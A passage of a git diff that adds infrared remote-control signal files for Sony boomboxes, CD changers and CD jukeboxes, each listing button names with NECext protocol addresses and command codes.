+name: KEY_9 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 24 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 25 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 26 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 27 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 28 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 29 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: tv/radio +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2C 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 30 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 31 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 32 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 33 00 00 00 +# +name: signal +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 34 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 35 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 36 00 00 00 +# +name: multi-picture +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 37 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 38 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 39 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3A 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3C 00 00 00 +# +name: find +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Boombox/100,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Boombox/100,-1.ir new file mode 100644 index 000000000..667ee3e2a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Boombox/100,-1.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 64 00 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 64 00 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 64 00 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 64 00 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 64 00 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 64 00 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 64 00 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 64 00 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 64 00 00 00 +command: 08 00 00 00 +# +name: 0/10 +type: parsed +protocol: NECext +address: 64 00 00 00 +command: 0C 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: 64 00 00 00 +command: 0D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 64 00 00 00 +command: 1C 00 00 00 +# +name: TRACK_- +type: parsed +protocol: NECext +address: 64 00 00 00 +command: 30 00 00 00 +# +name: TRACK_+ +type: parsed +protocol: NECext +address: 64 00 00 00 +command: 31 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 64 00 00 00 +command: 32 00 00 00 +# +name: LOOP +type: parsed +protocol: NECext +address: 64 00 00 00 +command: 34 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 64 00 00 00 +command: 38 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 64 00 00 00 +command: 39 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 64 00 00 00 +command: 6F 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 64 00 00 00 +command: 73 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 64 00 00 00 +command: 74 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Boombox/68,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Boombox/68,-1.ir new file mode 100644 index 000000000..58943ce65 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Boombox/68,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: MODE +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 11 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 13 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 15 00 00 00 +# +name: SOUND +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 30 00 00 00 +# +name: MEGA_BASS +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 3F 00 00 00 +# +name: FUNCTION +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 47 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 60 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 44 00 00 00 +command: 61 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/CD Changer/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/CD Changer/17,-1.ir new file mode 100644 index 000000000..3081390a9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/CD Changer/17,-1.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 40 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 41 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 41 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 42 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 49 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/1,-1.ir new file mode 100644 index 000000000..0be68fe3e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/1,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/17,-1.ir new file mode 100644 index 000000000..644073b6d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/17,-1.ir @@ -0,0 +1,818 @@ +Filetype: IR signals file +Version: 1 +# +name: TRACK_1_(F) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: TRACK_2_(G) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: TRACK_3_(H) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: TRACK_4_(I) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: TRACK_5_(J) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: TRACK_6_(K) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: TRACK_7_(L) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: TRACK_8_(M) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: TRACK_9_(N) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0B 00 00 00 +# +name: CHECK_(-) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0D 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0D 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 0F 00 00 00 +# +name: TRACK_17_(V) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 10 00 00 00 +# +name: TRACK_18_(W) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 11 00 00 00 +# +name: LINE_OUT_LEVEL_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 12 00 00 00 +# +name: LINE_OUT_LEVEL_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 13 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 15 00 00 00 +# +name: TRACK_19_(X) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 17 00 00 00 +# +name: FILE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 19 00 00 00 +# +name: BANK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1A 00 00 00 +# +name: SORT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1C 00 00 00 +# +name: CONTINUE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1D 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 1F 00 00 00 +# +name: TRACK_10_(O) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: 10/0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: TRACK_11_(P) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: TRACK_12_(Q) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 22 00 00 00 +# +name: TRACK_13_(R) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 23 00 00 00 +# +name: TRACK_14_(S) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 24 00 00 00 +# +name: TRACK_15_(T) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: TRACK_16_(U) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 26 00 00 00 +# +name: TRACK_>20_(Z) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: >_10 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 28 00 00 00 +# +name: TIME/TEXT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 28 00 00 00 +# +name: TRACK_20_(Y) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 29 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2C 00 00 00 +# +name: POWER_ON_(CD-1) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2E 00 00 00 +# +name: POWER_OFF_(CD-1) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2F 00 00 00 +# +name: AMS_<< +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: <<_SKIP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: TRACK_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: <> +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: >>_SKIP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: TRACK_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: AMS>> +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: Z_-_TRACK_(_+_) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: Z_-_PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: <<_SEARCH +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: Z_-_FAST_REWIND +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: >>_SEARCH +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: Z_-_FAST_FORWARD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 35 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: Z_-_STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: Z_-_PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: MUSIC_SCAN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3C 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3D 00 00 00 +# +name: DISC_SKIP_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3D 00 00 00 +# +name: Z_-_DISC_SKIP_(_-_) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3D 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3E 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3E 00 00 00 +# +name: DISC_SKIP+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3E 00 00 00 +# +name: Z_-_DISC_SKIP_(_+_) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3E 00 00 00 +# +name: EXTRA +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 +# +name: HIGH_LIGHT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 40 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 41 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 42 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 43 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 44 00 00 00 +# +name: DISC_6_(A) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 45 00 00 00 +# +name: DISC_7_(B) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 46 00 00 00 +# +name: DISC_8_(C) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 47 00 00 00 +# +name: DISC_9_(D) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 48 00 00 00 +# +name: DISC_10_(E) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 49 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4A 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4A 00 00 00 +# +name: TRACK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4B 00 00 00 +# +name: BLOCK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4C 00 00 00 +# +name: GROUP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4C 00 00 00 +# +name: HIT_LIST +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5C 00 00 00 +# +name: FADER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5F 00 00 00 +# +name: LEVEL_FILE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 68 00 00 00 +# +name: MEMO_INPUT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 69 00 00 00 +# +name: MEMO_SCAN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 6B 00 00 00 +# +name: NAME_SCAN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 6B 00 00 00 +# +name: CHAIN_MODE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 6E 00 00 00 +# +name: NO_DELAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 6E 00 00 00 +# +name: MEGA_-_NO_DELAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 6E 00 00 00 +# +name: PLAYER_SELECT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 6F 00 00 00 +# +name: X-FADE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 71 00 00 00 +# +name: MEGA_-_X-FADE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 71 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 79 00 00 00 +# +name: CURSOR_-_UP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 79 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 7A 00 00 00 +# +name: CURSOR_-_DOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 7A 00 00 00 +# +name: CURSOR_DN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 7A 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 7B 00 00 00 +# +name: CURSOR_-_LEFT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 7B 00 00 00 +# +name: CURSOR_LF +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 7B 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 7C 00 00 00 +# +name: CURSOR_-_RIGHT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 7C 00 00 00 +# +name: CURSOR_RT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 7C 00 00 00 +# +name: CURSOR_SELECT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 7D 00 00 00 +# +name: CURSOR_-_ENTER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 7D 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 7D 00 00 00 +# +name: SCROLL +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/23,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/23,-1.ir new file mode 100644 index 000000000..1c44d2d1b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/23,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/26,153.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/26,153.ir new file mode 100644 index 000000000..feaf14c77 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/26,153.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: ARTIST_MODE +type: parsed +protocol: NECext +address: 1A 99 00 00 +command: 48 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/36,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/36,-1.ir new file mode 100644 index 000000000..c7b808959 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/36,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/57,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/57,-1.ir new file mode 100644 index 000000000..e377e3e59 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/57,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 08 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 0B 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 0D 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 0F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 15 00 00 00 +# +name: CONTINUE +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 1D 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 1F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 20 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 2C 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 2E 00 00 00 +# +name: POWER_ON_(CD-2) +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 2E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 2F 00 00 00 +# +name: POWER_OFF_(CD-2) +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 2F 00 00 00 +# +name: <<_SKIP +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 30 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 30 00 00 00 +# +name: >>_SKIP +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 31 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 31 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 32 00 00 00 +# +name: <<_SEARCH +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 33 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 33 00 00 00 +# +name: >>_SEARCH +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 34 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 34 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 38 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 39 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 3D 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 3E 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 4A 00 00 00 +# +name: TRACK +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 4B 00 00 00 +# +name: BLOCK +type: parsed +protocol: NECext +address: 39 00 00 00 +command: 4C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/81,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/81,-1.ir new file mode 100644 index 000000000..f229eb59a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/81,-1.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 08 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 0B 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 0D 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 0F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 15 00 00 00 +# +name: CONTINUE +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 1D 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 1F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 20 00 00 00 +# +name: 10/0 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 20 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 27 00 00 00 +# +name: TIME/TEXT +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 28 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 2C 00 00 00 +# +name: POWER_ON_(CD-3) +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 2E 00 00 00 +# +name: POWER_OFF_(CD-3) +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 2F 00 00 00 +# +name: <<_SKIP +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 30 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 30 00 00 00 +# +name: >>_SKIP +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 31 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 31 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 32 00 00 00 +# +name: <<_SEARCH +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 33 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 33 00 00 00 +# +name: >>_SEARCH +type: parsed 